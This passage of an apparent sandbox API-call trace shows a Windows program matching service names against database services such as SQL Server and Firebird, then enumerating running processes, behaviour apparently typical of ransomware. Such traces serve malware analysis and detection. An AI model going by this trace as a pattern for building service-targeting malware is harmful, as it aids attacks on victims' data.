[0165.169] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0165.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0165.169] lstrlenW (lpString="StateRepository") returned 15 [0165.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0165.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0165.169] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0165.169] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0165.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0165.169] lstrlenW (lpString="SysMain") returned 7 [0165.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0165.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0165.169] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0165.169] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0165.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0165.169] lstrlenW (lpString="SystemEventsBroker") returned 18 [0165.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0165.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0165.169] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0165.169] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0165.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0165.169] lstrlenW (lpString="Themes") returned 6 [0165.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0165.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0165.169] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0165.169] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0165.170] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x390 [0165.176] Process32FirstW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.176] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0165.176] lstrlenW (lpString="System") returned 6 [0165.177] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0165.177] lstrlenW (lpString="smss.exe") returned 8 [0165.177] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0165.177] lstrlenW (lpString="csrss.exe") returned 9 [0165.178] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0165.178] lstrlenW (lpString="wininit.exe") returned 11 [0165.178] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0165.178] lstrlenW (lpString="csrss.exe") returned 9 [0165.179] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0165.179] lstrlenW (lpString="winlogon.exe") returned 12 [0165.179] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0165.179] lstrlenW (lpString="services.exe") returned 12 [0165.179] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0165.180] lstrlenW (lpString="lsass.exe") returned 9 [0165.180] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.180] lstrlenW (lpString="svchost.exe") returned 11 [0165.180] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0165.181] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0165.181] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0165.181] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0165.181] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.181] lstrlenW (lpString="svchost.exe") returned 11 [0165.181] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0165.182] lstrlenW (lpString="dwm.exe") returned 7 [0165.182] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.182] lstrlenW (lpString="svchost.exe") returned 11 [0165.182] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.183] lstrlenW (lpString="svchost.exe") returned 11 [0165.183] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.183] lstrlenW (lpString="svchost.exe") returned 11 [0165.183] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.184] lstrlenW (lpString="svchost.exe") returned 11 [0165.184] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.184] lstrlenW (lpString="svchost.exe") returned 11 [0165.184] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.184] lstrlenW (lpString="svchost.exe") returned 11 [0165.184] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.185] lstrlenW (lpString="svchost.exe") returned 11 [0165.185] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.185] lstrlenW (lpString="svchost.exe") returned 11 [0165.185] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.186] lstrlenW (lpString="svchost.exe") returned 11 [0165.186] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.186] lstrlenW (lpString="svchost.exe") returned 11 [0165.186] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.187] lstrlenW (lpString="svchost.exe") returned 11 [0165.187] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0165.187] lstrlenW (lpString="audiodg.exe") returned 11 [0165.187] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0165.188] lstrlenW (lpString="sihost.exe") returned 10 [0165.188] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.188] lstrlenW (lpString="svchost.exe") returned 11 [0165.188] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0165.188] lstrlenW (lpString="taskhostw.exe") returned 13 [0165.188] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x784, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0165.189] lstrlenW (lpString="explorer.exe") returned 12 [0165.189] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0165.189] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0165.189] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0165.190] lstrlenW (lpString="Memory Compression") returned 18 [0165.190] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0165.190] lstrlenW (lpString="SearchUI.exe") returned 12 [0165.190] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0165.190] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0165.191] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0165.191] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0165.191] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0165.191] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0165.191] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablets_refugees.exe")) returned 1 [0165.192] lstrlenW (lpString="tablets_refugees.exe") returned 20 [0165.192] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="migration dying locations.exe")) returned 1 [0165.192] lstrlenW (lpString="migration dying locations.exe") returned 29 [0165.192] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="college-advance.exe")) returned 1 [0165.193] lstrlenW (lpString="college-advance.exe") returned 19 [0165.193] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel ra execution.exe")) returned 1 [0165.193] lstrlenW (lpString="nickel ra execution.exe") returned 23 [0165.193] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boompromoterestore.exe")) returned 1 [0165.193] lstrlenW (lpString="boompromoterestore.exe") returned 22 [0165.193] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="metallic.exe")) returned 1 [0165.194] lstrlenW (lpString="metallic.exe") returned 12 [0165.194] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjustedfavors.exe")) returned 1 [0165.194] lstrlenW (lpString="adjustedfavors.exe") returned 18 [0165.194] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="brown parade bases.exe")) returned 1 [0165.195] lstrlenW (lpString="brown parade bases.exe") returned 22 [0165.195] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="specified wales.exe")) returned 1 [0165.195] lstrlenW (lpString="specified wales.exe") returned 19 [0165.195] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="inspiration.exe")) returned 1 [0165.196] lstrlenW (lpString="inspiration.exe") returned 15 [0165.196] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="importance-slot-announcements.exe")) returned 1 [0165.196] lstrlenW (lpString="importance-slot-announcements.exe") returned 33 [0165.196] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred-arrest.exe")) returned 1 [0165.196] lstrlenW (lpString="hundred-arrest.exe") returned 18 [0165.196] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="classbuck.exe")) returned 1 [0165.197] lstrlenW (lpString="classbuck.exe") returned 13 [0165.197] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="x-deutschland.exe")) returned 1 [0165.197] lstrlenW (lpString="x-deutschland.exe") returned 17 [0165.197] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sacred-sword-plc.exe")) returned 1 [0165.347] lstrlenW (lpString="sacred-sword-plc.exe") returned 20 [0165.347] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="laptop_wiring_candy.exe")) returned 1 [0165.348] lstrlenW (lpString="laptop_wiring_candy.exe") returned 23 [0165.348] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawsuit.exe")) returned 1 [0165.349] lstrlenW (lpString="lawsuit.exe") returned 11 [0165.349] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0165.349] lstrlenW (lpString="3dftp.exe") returned 9 [0165.350] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0165.350] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0165.350] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0165.351] lstrlenW (lpString="alftp.exe") returned 9 [0165.351] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0165.351] lstrlenW (lpString="barca.exe") returned 9 [0165.352] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0165.352] lstrlenW (lpString="bitkinex.exe") returned 12 [0165.352] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0165.353] lstrlenW (lpString="coreftp.exe") returned 11 [0165.353] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0165.354] lstrlenW (lpString="far.exe") returned 7 [0165.354] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0165.355] lstrlenW (lpString="filezilla.exe") returned 13 [0165.355] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0165.355] lstrlenW (lpString="flashfxp.exe") returned 12 [0165.355] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0165.356] lstrlenW (lpString="fling.exe") returned 9 [0165.356] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0165.357] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0165.357] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0165.363] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0165.365] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | 